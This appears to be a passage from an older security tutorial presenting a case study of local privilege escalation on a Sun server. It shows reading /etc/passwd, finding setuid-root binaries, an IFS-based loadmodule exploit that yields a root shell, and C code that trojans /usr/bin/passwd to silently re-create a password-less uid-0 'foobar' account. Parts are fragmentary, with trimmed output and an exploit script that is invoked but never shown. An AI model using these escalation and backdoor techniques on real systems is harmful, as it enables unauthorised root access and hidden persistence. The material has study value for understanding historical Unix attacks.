This section shows the a case study of the concepts introduced in the previous sections. Here we will show the commands entered with brief output and an explanation of what is being done. We will not attempt DoS attacks since they are annoying to us as well, being on the same host we are on. Additionally, they give us no form of privilege. The point of this case study is to see if we can get to privileged mode, super-user. We therefore assume that we will either be able to crack the root password, or find a bug that when exploited with either a buffer overflow or a case of misconfigured software will ``give us root''.
siviwe@server$ head /etc/passwd
root:##root:0:1:Operator:/:/bin/csh
nobody:##nobody:65534:65534::/:
% [output trimmed]
-r-sr-xr-x 5 root 32768 May 13 1995 /usr/bin/chsh
-rwsr-xr-x 1 root 24576 Oct 14 1993 /usr/bin/crontab
-rwsr-xr-x 1 root 42353 Oct 14 1993 /usr/bin/loadmodule
sh -i
chmod 755 ~/bin/bin
set IFS='/'
export IFS='/'
cd ~/bin
/usr/openwin/bin/loadmodule /sys/sun4c/OBJ/evqmod-sun4c.o /etc/openwin/modules/evqload
^D
siviwe@server$ chmod 700 blahits
siviwe@server$ ./blahits
# whoami
root
#
% We now have our root account, without a password
% We now insert a backdoor/trojan to make sure we always keep the account
% We modify the /usr/bin/passwd program, adding the following lines in the source:
if ((pw=getpwnam("foobar")) == NULL) { // Our account was deleted
if (!fork()) { // Child adds the user while parent changes a password
execl("/usr/sbin/adduser", "telnetd","-u","0","-g","0","-d","/home/foobar",
"-s","/usr/local/bin/bash","-p","", "foobar", NULL);
}
}